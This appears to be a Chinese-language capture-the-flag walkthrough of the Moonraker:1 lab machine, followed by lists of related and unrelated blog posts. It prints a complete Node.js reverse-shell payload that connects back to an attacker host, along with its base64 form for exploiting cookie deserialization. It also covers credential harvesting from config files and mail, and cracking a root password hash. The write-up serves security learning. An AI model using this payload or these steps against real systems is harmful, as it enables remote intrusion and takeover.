0x01 简介
攻击Moonraker系统并且找出存在最大的威胁漏洞,通过最大威胁漏洞攻击目标靶机系统并进行提权获取系统中root目录下的flag信息。
Moonraker: 1镜像下载地址:
 
0x02 信息搜集
1.获取目标ip地址,使用netdiscover或者arp-scan。
2.使用nmap进行端口和服务探测
在3000端口发现Node.js Express framework框架应用。
访问web服务,是一段视频
视频动画会持续10几秒,之后自动跳转至如下页面
点击blog进行一个展示界面,目前看来是没什么用
使用dirb 跑一下目录,发现http://192.168.190.136/services/index.html
在网站中发现一个链接
点击进入,一个售后服务的页面
Services Information Request
To provide "out of this world" service, a Sales rep will check your web-based inquiries in under 5 minutes!
服务信息请求
为了提供“完美售后”的服务,销售代表将在5分钟内检查您基于网络的查询!
尝试用<img>标签去查询表单
<img src="192.168.190.129/log.txt"></img>
提交完成
开启apache服务
root@kali:~# netstat -pantu | grep 80
tcp 0 0 127.0.0.1:80 0.0.0.0:* LISTEN 595/rinetd
root@kali:~# pkill rinetd
root@kali:~# service apache2 start
root@kali:~# cd /var/www/html
root@kali:/var/www/html# ls
file.csproj flag.php index.nginx-debian.html wpscan_6666 wso.php xxe.php
root@kali:/var/www/html# echo "test" > log.txt
root@kali:/var/www/html# ls -la log.txt
-rw-r--r-- 1 root root 5 9月 24 11:50 log.txt
 
测试apache服务是否正常
我们可以通过apache2 access.log可以查看到访问目标靶机网站日志记录。
192.168.190.136 - - [24/Sep/2019:11:54:51 -0400] "GET /log.txt HTTP/1.1" 200 287 "http://127.0.0.1/svc-inq/salesmoon-gui.php" "Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.9.8 Safari/534.34"
我们可以从日志中发现http refefer地址:http://127.0.0.1/svc-inq/salesmoon-gui.php
 
 
点击左上角链接进入如下页面
 
打开CouchDB Notes在这个页面得到了关于用户的账号密码提示,这个对我们来说是很重要的。
username: jaws
password: 女朋友名字+x99的组合(我哪知道你女朋友是谁!!!)
搜索 Jaws' girlfriend,找到Jaws' Girlfriend :Dolly
现在已经获取到couchdb的用户名和密码,那么如何登陆呢
关于couchdb使用参考官方文档:http://docs.couchdb.org/en/stable/fauxton/install.html
Username: jaws
Password: dollyx99
登陆成功!
在links库里发现了一些信息
第二条信息
似乎没什么有用的信息
第三条记录
备份信息
在HUGO中我们发现了一些线索,提示我们通过浏览器访问3000端口的服务,并且提供了用户名密码
Username: hugo
Password:TempleLasersL2K
登陆成功
Welcome Boss Your manifesto has been recorded here for reference: /accounting/hugo-manif.mp3
欢迎您的老板您的宣言已在此处录制供参考:/accounting/hugo-manif.mp3
 
听一下宣言内容,纯英文,听不懂
 
第四条信息
显示数据已经被移动到更安全的区域
进入hugo's page moved to port 3k页面,可以看到服务运行在3000端口,使用的NodeJS框架。
0x04 漏洞利用
从前期信息收集知道3000端口跑的是Node.js框架,去搜索一下相关漏洞
发现Node.js框架存在一个反序列化漏洞,可以执行任意代码。
启动F12查看页面的请求信息。burp抓包在Cookie中看到了base64编码信息。
base64编码解码为用户名。
这里我们将以base64编码形式插入node.js来用其反序列化漏洞。
这个应用程序中的漏洞是它从HTTP请求中读取名为profile的cookie,对cookie值执行base64解码,并将其传递给unserialize()函数.由于cookie是不受信任的输入,攻击者可以制作恶意Cookie值从而来以利用此漏洞.
利用Node.js反序列化的漏洞执行远程代码参考:https://www.anquanke.com/post/id/85458
使用msfvenom生成nodejs反弹shell
msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.190.137 LPORT=1521
(function(){ var require = global.require || global.process.mainModule.constructor._load; if (!require) return; var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh"; var net = require("net"), cp = require("child_process"), util = require("util"), sh = cp.spawn(cmd, []); var client = this; var counter=0; function StagerRepeat(){ client.socket = net.connect(1521, "192.168.190.137", function() { client.socket.pipe(sh.stdin); if (typeof util.pump === "undefined") { sh.stdout.pipe(client.socket); sh.stderr.pipe(client.socket); } else { util.pump(sh.stdout, client.socket); util.pump(sh.stderr, client.socket); } }); socket.on("error", function(error) { counter++; if(counter<= 10){ setTimeout(function() { StagerRepeat();}, 5*1000); } else process.exit(); }); } StagerRepeat(); })();
 
{"rce":"_$$ND_FUNC$$_function (){ var require = global.require || global.process.mainModule.constructor._load; if (!require) return; var cmd = (global.process.platform.match(/^win/i)) ? \"cmd\" : \"/bin/sh\"; var net = require(\"net\"), cp = require(\"child_process\"), util = require(\"util\"), sh = cp.spawn(cmd, []); var client = this; var counter=0; function StagerRepeat(){ client.socket = net.connect(1521, \"192.168.190.137\", function() { client.socket.pipe(sh.stdin); if (typeof util.pump === \"undefined\") { sh.stdout.pipe(client.socket); sh.stderr.pipe(client.socket); } else { util.pump(sh.stdout, client.socket); util.pump(sh.stderr, client.socket); } }); socket.on(\"error\", function(error) { counter++; if(counter<= 10){ setTimeout(function() { StagerRepeat();}, 5*1000); } else process.exit(); }); } StagerRepeat(); }()"}
 
将以上payload做base64编码
eyJyY2UiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7IHZhciByZXF1aXJlID0gZ2xvYmFsLnJlcXVpcmUgfHwgZ2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZDsgaWYgKCFyZXF1aXJlKSByZXR1cm47IHZhciBjbWQgPSAoZ2xvYmFsLnByb2Nlc3MucGxhdGZvcm0ubWF0Y2goL153aW4vaSkpID8gXCJjbWRcIiA6IFwiL2Jpbi9zaFwiOyB2YXIgbmV0ID0gcmVxdWlyZShcIm5ldFwiKSwgY3AgPSByZXF1aXJlKFwiY2hpbGRfcHJvY2Vzc1wiKSwgdXRpbCA9IHJlcXVpcmUoXCJ1dGlsXCIpLCBzaCA9IGNwLnNwYXduKGNtZCwgW10pOyB2YXIgY2xpZW50ID0gdGhpczsgdmFyIGNvdW50ZXI9MDsgZnVuY3Rpb24gU3RhZ2VyUmVwZWF0KCl7IGNsaWVudC5zb2NrZXQgPSBuZXQuY29ubmVjdCgxNTIxLCBcIjE5Mi4xNjguMTkwLjEzN1wiLCBmdW5jdGlvbigpIHsgY2xpZW50LnNvY2tldC5waXBlKHNoLnN0ZGluKTsgaWYgKHR5cGVvZiB1dGlsLnB1bXAgPT09IFwidW5kZWZpbmVkXCIpIHsgc2guc3Rkb3V0LnBpcGUoY2xpZW50LnNvY2tldCk7IHNoLnN0ZGVyci5waXBlKGNsaWVudC5zb2NrZXQpOyB9IGVsc2UgeyB1dGlsLnB1bXAoc2guc3Rkb3V0LCBjbGllbnQuc29ja2V0KTsgdXRpbC5wdW1wKHNoLnN0ZGVyciwgY2xpZW50LnNvY2tldCk7IH0gfSk7IHNvY2tldC5vbihcImVycm9yXCIsIGZ1bmN0aW9uKGVycm9yKSB7IGNvdW50ZXIrKzsgaWYoY291bnRlcjw9IDEwKXsgc2V0VGltZW91dChmdW5jdGlvbigpIHsgU3RhZ2VyUmVwZWF0KCk7fSwgNSoxMDAwKTsgfSBlbHNlIHByb2Nlc3MuZXhpdCgpOyB9KTsgfSBTdGFnZXJSZXBlYXQoKTsgfSgpIn0=
 
通过bupsuit抓包进行拦截,将整个base64字符串设置为cookie中profile的值,替换完profile值后进行提交,在者之前需要设置您的nc侦听。
nc 成功获得反弹shell
然后将nc的半shell转换为pty的交互shell
查看开放的端口,发现开启了邮件服务,
在/var/mail目录下存在邮件但是权限不足无法查看
在了解CouchDB的配置后,发现默认的安装目录为/opt/couchdb目录下,在配置文件中找到密码.
username: hugo
password: 321Blast0ff!!
切换hugo用户,查看家目录未发现什么,想到之前拒绝访问的邮件
在/var/mail目录下查看hugo邮件内容,root用户信息泄露
the new one is the same + "VR00M" without quotes 并且提示在root密码后加上VR00M
root:$6$auLf9y8f$qgi63MGYQGnnk6.6ktcZIMpROPMqMXMEM7JufH1aTIApIPIZZu7yRjfIcZ1pELNoeMM7sIwCrVmMCjNYJRRGf/:17809:0:99999:7:::
 
将root密码hash保存到root.hash,使用john破解hash
破解出密码哈希是cyber
Username: root
Password: cyber
新的登录密码为:cyberVR00M
root用户登录,获取到flag base64 解码 :was dolly wearing braces?
 
参考链接:
 
 
 

Moonraker 靶机渗透的更多相关文章

  1. 22. CTF综合靶机渗透(十五)

    靶机说明: Game of Thrones Hacking CTF This is a challenge-game to measure your hacking skills. Set in Ga ...

  2. 21. CTF综合靶机渗透(十四)

    靶机说明: I created this machine to help others learn some basic CTF hacking strategies and some tools. ...

  3. 18. CTF综合靶机渗透(十一)

    靶机描述: SkyDog Con CTF 2016 - Catch Me If You Can 难度:初学者/中级 说明:CTF是虚拟机,在虚拟箱中工作效果最好.下载OVA文件打开虚拟框,然后选择文件 ...

  4. 17. CTF综合靶机渗透(十)

    靶机描述:欢迎来到超级马里奥主机!这个虚拟机是对真实世界场景场景的模拟.目标是在VM中找到2个标志.根是不够的(对不起!)VM可以以多种方式开发,但请记住枚举是关键.挑战的程度是中等的.感谢VDBAN ...

  5. hacknos-player靶机渗透

    靶机下载地址https://www.vulnhub.com/entry/hacknos-player,459/ 网络配置 该靶机可能会存在无法自动分配IP的情况,所以无法扫描到的情况下需要手动配置获取 ...

  6. VulnHub CengBox2靶机渗透

    ​本文首发于微信公众号:VulnHub CengBox2靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆官网地址:https://download.vulnhub.com/cengbox/CengB ...

  7. VulnHub PowerGrid 1.0.1靶机渗透

    ​本文首发于微信公众号:VulnHub PowerGrid 1.0.1靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆☆官网地址:https://download.vulnhub.com/power ...

  8. DeRPnStiNK靶机渗透

    DeRPnStiNK靶机渗透 常规的信息搜集 扫到了phpmyadmin以及wordpress并在后台发现弱密码,即admin,admin 这里对wordpress进行了扫描: 扫描插件: searc ...

  9. BTRsys1~2系列靶机渗透

    BTRsys系列靶机渗透 BTRsys1 端口发现加目录扫描. 发现目录:http://192.168.114.161/login.php 尝试弱密码失败,查看源代码. <script type ...

随机推荐

  1. 从零开始搭建前后端分离的NetCore(EF Core CodeFirst+Au)+Vue的项目框架之二autofac解耦

    在 上一篇 中将项目的基本骨架搭起来能正常跑通,这一篇将讲到,如何通过autofac将DbContext和model进行解耦,只用添加model,而不用在DbContext中添加DbSet. 在这里就 ...

  2. idea快速生成实体类

    1.打开idea的视图,选择Database 2.选择对应的数据库[这里是mysql为例] 3.输入自己对应的内容,输入完成可点击Test Connection进行测试,成功SUCCESS 4.点击确 ...

  3. springmvc集成swaggerui

    这里先写下需要的pom.xml配置(我引用的2.4.0,相对稳定) 在集成springfox-swagger2之前,我也尝试着集成了swagger-springmvc,方式差不多,但是swagger- ...

  4. 90001PS相关操作

    第一章   PS基础操作 1.1 PS界面介绍 (1)界面包含:菜单栏.状态样式栏.工具栏.绘图区域.工作区. (2)布局可以在左上角进行切换,区分主要为工作区的侧重点不同. (3)布局想恢复可在窗口 ...

  5. python 07 数据类型

    目录 1. 基础数据类型填充 1.str:(不可变) 2. list: 3. tuple: 4. dict: 5. set: 6. bool: 7. 数据类型之间转换 2.删除列表/字典的代码坑: 3 ...

  6. [python]python列表、元组

    1. 列表和元组简介 列表:用中括号[]包裹,元素的个数及元素的值可以改变. 元组:用小括号()包裹,不可用更改. 通过切片运算[]和[:]可以得到子集. 2.列表 示例: List = [1, 2, ...

  7. codeforce303C-Minimum Modular-剪枝,暴力

    Minimum Modular 题意:就是在一堆数字中,每一个数字对m取模不能等于这堆数字中的其他数字,同时给了K个机会可以删除一些数字.求最小的m: 思路:我一开始完全没思路,队长说的并查集什么的不 ...

  8. 阿里《JAVA实习生入职测试题—2019最新》之答案详解(连载一)

    力争清晰完整准确(逐步完善,持续更新) 1.String类为什么是final的 首先分析String的源码: public final class String implements java.io. ...

  9. pt工具校验主从数据一致性之dsns方式

    mysql主从数据一致性校验,常用的方法是Percona-Toolkit的组件pt-table-checksum,这东西怎么用网上一大堆,就不啰嗦了.主要说一下通过dsns方式发现从库的一种方式. p ...

  10. 【Redis】基础学习概览【汇总】

    一.概述 1.1 简介 1.2 Redis单线程好处 1.3 单线程弊端 1.4 Redis应用场景 二.安装.开启以及关闭 三.Redis基本数据类型 四.SpringBoot整合Redis 五.R ...